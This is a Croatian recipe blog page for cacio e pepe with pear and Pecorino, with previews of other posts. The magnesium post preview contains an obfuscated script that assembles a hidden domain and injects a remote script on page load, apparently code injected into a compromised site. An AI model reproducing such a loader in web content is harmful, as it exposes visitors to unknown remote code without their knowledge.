CACIO E PEPE - SIR I KRUŠKA 🍐


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Cacio e  pepe  - sir i kruška 




Stara talijanska poslovica kaže Al contadino non far sapere quant’è buono il formaggio con le pere, u prijevodu – Ne reci farmeru koliko je dobar sir s kruškama. Navodno bi, da farmer otkrije ovu nebesku kombinaciju, cijene sira i krušaka skočile do neba. Dakle, ovo jelo garantira baš lijepo sljubljivanje okusa sira, kruške i tjestenine. Vrijedi isprobati, a evo i kako se radi.





Cacio e pepe 


Sastojci:

  • 1 zrela kruška
  • 4 velike žlice Pecorino sira
  • 80 g tjestenine po izboru
  • Svježe mljeveni crni papar po ukusu



Priprema: 

  • Zakuhajte tjesteninu u slanoj vodi prema uputama na pakiranju.
  • Dok se tjestenina kuha, narežite krušku na tanke ploške.
  • U velikoj zdjeli pomiješajte vruću tjesteninu s Pecorinom, dodajte kruške i dobro promiješajte. Toplina tjestenine lagano otapa sir i stvara kremasti umak.
  • Posipajte svježe mljevenim crnim paprom po ukusu i odmah poslužite.

Rezultat je savršena harmonija okusa: pikantni Pecorino i oštar papar tradicionalnog Cacio e Pepea sada dobivaju nježnu slatkoću kruške, što jelu daje cozy karakter. Poslužite uz čašu laganog bijelog vina, upalite svijeće i uživajte u intimnom talijanskom trenutku kod kuće. Ovaj moderni twist pokazuje kako klasična jela mogu dobiti novu dimenziju, spajajući tradiciju i kreativnost u svakom zalogaju.


Cacio e pepe sir i kruška


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više